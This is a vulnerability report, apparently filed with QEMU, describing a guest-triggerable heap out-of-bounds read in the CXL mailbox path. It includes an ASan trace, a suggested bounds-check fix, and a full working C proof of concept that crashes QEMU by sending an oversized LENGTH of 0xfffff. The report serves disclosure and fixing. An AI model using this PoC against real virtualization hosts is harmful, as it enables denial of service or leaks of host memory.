hw/cxl: guest-controlled mailbox LENGTH can cause host OOB read before validation
I found another CXL mailbox bug, different from the recent Set Feature issues.
This one is in the shared mailbox transport path in
`hw/cxl/cxl-device-utils.c`.
`mailbox_reg_write()` reads `CXL_DEV_MAILBOX_CMD.LENGTH` from the guest and then
immediately snapshots the mailbox payload with `g_memdup2(pl, len_in)`, before
checking that `len_in` actually fits in the mailbox payload buffer.
As a result, a guest can supply an oversized `LENGTH` and make QEMU read past
the end of the host-side mailbox payload storage before the request reaches the
normal validation path in `cxl_process_cci_message()`.
This is in the shared mailbox doorbell path, so it is not limited to one CXL
device model. I confirmed the crash reliably with `cxl-switch-mailbox-cci`. The
same root cause is also present for `cxl-type3`.
Relevant code:
```c
size_t len_in = FIELD_EX64(command_reg, CXL_DEV_MAILBOX_CMD, LENGTH);
...
pl_in_copy = g_memdup2(pl, len_in);
```
The issue is simply that `len_in` is consumed by `g_memdup2()` before QEMU
rejects it as an invalid payload length.
Test environment:
- host arch: `x86_64`
- target: `x86_64-softmmu`
- commit: `ac0cc20ad2fe0b8df2e5d9458e90a095ac711ab1`
- describe: `v11.0.0-436-gac0cc20ad2-dirty`
- build:
```text
../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu
ninja -C build-asan
```
For the reproducer I used an oversized mailbox `LENGTH = 0xfffff` and then rang
the mailbox doorbell through the switch mailbox CCI path.
ASan output:
```text
==3570682==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x52a0000174a0 at pc 0x76b02e63a397 bp 0x7fff3996f790 sp 0x7fff3996ef38
READ of size 1048575 at 0x52a0000174a0 thread T0
#0 0x76b02e63a396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x76b02e0fd6c3 in g_memdup2 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x736c3)
#2 0x5765da26db74 in g_memdup2_qemu ../include/glib-compat.h:99
#3 0x5765da26f2ad in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:205
#4 0x5765da9090a8 in memory_region_write_accessor ../system/memory.c:492
#5 0x5765da909734 in access_with_adjusted_size ../system/memory.c:568
#6 0x5765da911d18 in memory_region_dispatch_write ../system/memory.c:1548
#7 0x5765da93a95f in flatview_write_continue_step ../system/physmem.c:3263
#8 0x5765da93ab5a in flatview_write_continue ../system/physmem.c:3293
#9 0x5765da93ae4e in flatview_write ../system/physmem.c:3324
#10 0x5765da93ba01 in address_space_write ../system/physmem.c:3444
#11 0x5765da94c352 in qtest_process_command ../system/qtest.c:533
#12 0x5765da94f8a2 in qtest_process_inbuf ../system/qtest.c:778
#13 0x5765da94f9f5 in qtest_read ../system/qtest.c:787
#14 0x5765db17d818 in qemu_chr_be_write_impl ../chardev/char.c:247
#15 0x5765db17d8c7 in qemu_chr_be_write ../chardev/char.c:259
#16 0x5765db172568 in tcp_chr_read ../chardev/char-socket.c:511
#17 0x5765daee0194 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84
#18 0x76b02e0dfc43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43)
#19 0x5765db3a4050 in glib_pollfds_poll ../util/main-loop.c:290
#20 0x5765db3a41c3 in os_host_main_loop_wait ../util/main-loop.c:313
#21 0x5765db3a44d3 in main_loop_wait ../util/main-loop.c:592
#22 0x5765da955074 in qemu_main_loop ../system/runstate.c:948
#23 0x5765db1c48e6 in qemu_default_main ../system/main.c:50
#24 0x5765db1c4a0e in main ../system/main.c:93
#25 0x76b02d829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#26 0x76b02d829e3f in __libc_start_main_impl ../csu/libc-start.c:392
#27 0x5765d9fc1ce4 in _start (/home/jia/qemu-origin-master-verify/build-asan/qemu-system-x86_64+0xb18ce4)
0x52a0000174a0 is located 0 bytes to the right of 21152-byte region [0x52a000012200,0x52a0000174a0)
allocated by thread T0 here:
#0 0x76b02e6b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x76b02e0e8738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738)
#2 0x5765daeb1f74 in object_new ../qom/object.c:729
#3 0x5765daea4a89 in qdev_new ../hw/core/qdev.c:150
#4 0x5765da947205 in qdev_device_add_from_qdict ../system/qdev-monitor.c:701
#5 0x5765da9474b2 in qdev_device_add ../system/qdev-monitor.c:749
#6 0x5765da8e07a3 in device_init_func ../system/vl.c:1215
#7 0x5765db381a77 in qemu_opts_foreach ../util/qemu-option.c:1135
#8 0x5765da8e7873 in qemu_create_cli_devices ../system/vl.c:2749
#9 0x5765da8e7d24 in qmp_x_exit_preconfig ../system/vl.c:2809
#10 0x5765da8ec862 in qemu_init ../system/vl.c:3846
#11 0x5765db1c49b7 in main ../system/main.c:71
#12 0x76b02d829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
```
Full PoC:
```c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
#define QTEST_BAR0 0x20000000ULL
#define MAILBOX_BASE (QTEST_BAR0 + 0x88)
#define MAILBOX_CTRL (MAILBOX_BASE + 0x04)
#define MAILBOX_CMD (MAILBOX_BASE + 0x08)
#define ROOT_PORT_DEVFN 0x20
#define SECONDARY_BUS 0x01
#define SWITCH_DEVFN 0x00
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void xwrite_all(int fd, const char *buf, size_t len)
{
while (len) {
ssize_t n = write(fd, buf, len);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("write");
}
buf += n;
len -= n;
}
}
static void qtest_cmd(int fd, const char *fmt, ...)
{
char cmd[256];
char reply[256];
va_list ap;
size_t off = 0;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
xwrite_all(fd, cmd, strlen(cmd));
xwrite_all(fd, "\n", 1);
while (off + 1 < sizeof(reply)) {
ssize_t n = read(fd, &reply[off], 1);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("read");
}
if (n == 0) {
fprintf(stderr, "qtest socket closed after command: %s\n", cmd);
exit(1);
}
if (reply[off] == '\n') {
reply[off] = '\0';
break;
}
off++;
}
if (strncmp(reply, "OK", 2) != 0) {
fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply);
exit(1);
}
}
static pid_t spawn_qemu(const char *qemu, const char *sock_path)
{
pid_t pid = fork();
if (pid < 0) {
die("fork");
}
if (pid == 0) {
char *argv[] = {
(char *)qemu,
"-machine", "q35,cxl=on",
"-accel", "qtest",
"-display", "none",
"-nodefaults",
"-monitor", "none",
"-serial", "none",
"-qtest", NULL,
"-device", "pxb-cxl,bus_nr=12,bus=pcie.0,id=cxl.1",
"-device", "cxl-rp,port=0,bus=cxl.1,id=root_port0,chassis=0,slot=0",
"-device", "cxl-upstream,bus=root_port0,id=us0",
"-device", "pcie-root-port,id=rp0,bus=pcie.0,addr=4.0,chassis=1",
"-device", "cxl-switch-mailbox-cci,bus=rp0,target=us0,id=swcci0",
NULL,
};
char qtest_arg[256];
snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path);
argv[13] = qtest_arg;
execvp(qemu, argv);
perror("execvp");
_exit(1);
}
return pid;
}
int main(int argc, char **argv)
{
char tmpdir[] = "/tmp/cxlmboxoobXXXXXX";
char sock_path[256];
struct sockaddr_un addr;
struct pollfd pfd;
int server_fd, conn_fd;
pid_t pid;
int status;
const char *qemu = argc > 1 ? argv[1] : "qemu-system-x86_64";
if (!mkdtemp(tmpdir)) {
die("mkdtemp");
}
snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir);
server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (server_fd < 0) {
die("socket");
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
if (strlen(sock_path) >= sizeof(addr.sun_path)) {
fprintf(stderr, "socket path too long\n");
return 1;
}
memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1);
unlink(sock_path);
if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
die("bind");
}
if (listen(server_fd, 1) < 0) {
die("listen");
}
pid = spawn_qemu(qemu, sock_path);
conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd < 0) {
die("accept");
}
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x04);
qtest_cmd(conn_fd, "outl 0xcfc 0x00000006");
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x18);
qtest_cmd(conn_fd, "outl 0xcfc 0x00010100");
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x20);
qtest_cmd(conn_fd, "outl 0xcfc 0x20002000");
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x10);
qtest_cmd(conn_fd, "outl 0xcfc 0x%08x", (unsigned)QTEST_BAR0);
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x14);
qtest_cmd(conn_fd, "outl 0xcfc 0x00000000");
qtest_cmd(conn_fd, "outl 0xcf8 0x%08x",
0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x04);
qtest_cmd(conn_fd, "outl 0xcfc 0x00000002");
qtest_cmd(conn_fd, "writeq 0x%llx 0x%llx",
(unsigned long long)MAILBOX_CMD,
(unsigned long long)(((uint64_t)0xfffff << 16) |
((uint64_t)0x43 << 8) | 0x04));
qtest_cmd(conn_fd, "writel 0x%llx 0x1",
(unsigned long long)MAILBOX_CTRL);
pfd.fd = conn_fd;
pfd.events = POLLIN | POLLHUP | POLLERR;
poll(&pfd, 1, 500);
if (waitpid(pid, &status, WNOHANG) == 0) {
fprintf(stderr, "QEMU is still alive. The build is likely patched.\n");
kill(pid, SIGTERM);
waitpid(pid, &status, 0);
close(conn_fd);
close(server_fd);
unlink(sock_path);
rmdir(tmpdir);
return 0;
}
if (WIFSIGNALED(status)) {
fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status));
} else if (WIFEXITED(status)) {
fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status));
}
close(conn_fd);
close(server_fd);
unlink(sock_path);
rmdir(tmpdir);
return 0;
}
```
Build and run:
```text
gcc -O2 -Wall -Wextra -o qemu-cxl-mailbox-length-oob-poc qemu-cxl-mailbox-length-oob-poc.c
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
./qemu-cxl-mailbox-length-oob-poc ./build-asan/qemu-system-x86_64
```
Suggested fix:
```c
if (len_in > cci->payload_max) {
rc = CXL_MBOX_INVALID_PAYLOAD_LENGTH;
} else {
pl_in_copy = g_memdup2(pl, len_in);
if (len_in == 0 || pl_in_copy) {
memset(pl, 0, CXL_MAILBOX_MAX_PAYLOAD_SIZE);
rc = cxl_process_cci_message(cci, cmd_set, cmd, len_in,
pl_in_copy, &len_out, pl,
&bg_started);
} else {
rc = CXL_MBOX_INTERNAL_ERROR;
}
}
```
I tested that locally and the same request then returns
`CXL_MBOX_INVALID_PAYLOAD_LENGTH` instead of reading past the host buffer.
The current code came from:
- `c9460561ed ("hw/cxl/mbox: Generalize the CCI command processing")`
issue